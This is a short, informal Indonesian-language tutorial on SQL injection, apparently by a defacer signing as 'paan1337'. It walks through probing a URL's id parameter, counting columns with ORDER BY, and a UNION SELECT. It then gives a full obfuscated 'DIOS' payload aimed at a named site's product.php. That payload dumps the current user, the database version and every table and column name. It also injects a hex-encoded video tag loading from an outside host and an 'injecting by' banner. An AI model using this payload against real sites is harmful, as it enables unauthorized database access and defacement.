Tuturiol sqli

 Seperti biasa web nya lalu klick enter dan tampilan akan menjadi seperti biasa

Lalu kalian klick ' kalo misal nya mahu tahu web nya eror/vuln atau tidak kalo vuln/eror tampilan nya seperti di bawah ini lanjut buang tanda ' lalu klick enter dan web menjadi seperti biasa seperti di atas :v

Lalu klick --+- di belakang php?id= lalu tambahkan +order+by+1,2,3,4,5,6 sampai web nya eror seperti di rujukan yang kedua lanjut kalau eror nya di 13 maka ambil angka 12 oke lanjut

Lalu nukar order+by+ kepada php?id=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12--+-kerna eror nya ada di 13 ambil 12 lalu klick nah nanti tampilan di web nya muncul angka togel seperti di gambar bawah nah angka togel nya 4 maka inject di angka 4 seperti ini 1,2,3,,5 buang angka 4 togel nah lanjut naruk dios yah di angka 4 togel hehehe

http://www.sadikun.com/product.php?id=1+and+0+union+select+1,2,3,/*!50000concat/**8**/*/(0x3c62723e,0x3c63656e7465723e3c766964656f206865696768743d22333030222077696474683d223530302220636f6e74726f6c733e0a3c736f75726365207372633d2268747470733a2f2f6a2e746f7034746f702e696f2f6d5f32313233366e786636302e6d70342220747970653d22766964656f2f6d7034223e3c2f63656e7465723e,0x3C666F6E7420636F6C6F723D227265642220666163653D22746578742D736861646F77223E3C68313E696E6A656374696E67206279207061616E373C2F68313E3C2F666F6E743E,0x3c2f623e,0x3c2f666f6e743e,0x3c62723e,0x557365723a3a,current_user,0x3c62723e,0x56657273696f6e3a3a,version(),0x3c62723e,0x44617461626173653a3a,database/*data*//**8**/(),0x3c62723e,0x3c62723e,(select(@x)/*!50000from/**8**/*/(/*!50000select/**8**/*/(@x:=0x00),(select(0)/*!From/**8**/*/(/*!50000information_schema.columns/**8**/*/)/*!50000where/**8**/*/(table_schema=database/*data*//**8*/())and(0x00)in(@x:=/*!50000coNcat/**8**/*/(@x,0x3c6c693e,/*!50000table_name/**8**/*/,0x3a3a,/*!50000column_name/**8**/*/))))x)),5,6,7,8,9,10,11,12--+-

Nah bergitu simple kan segitu aja tuturiol nya 

Sekian dari gua ./paan1337 semoga berjumpa lagi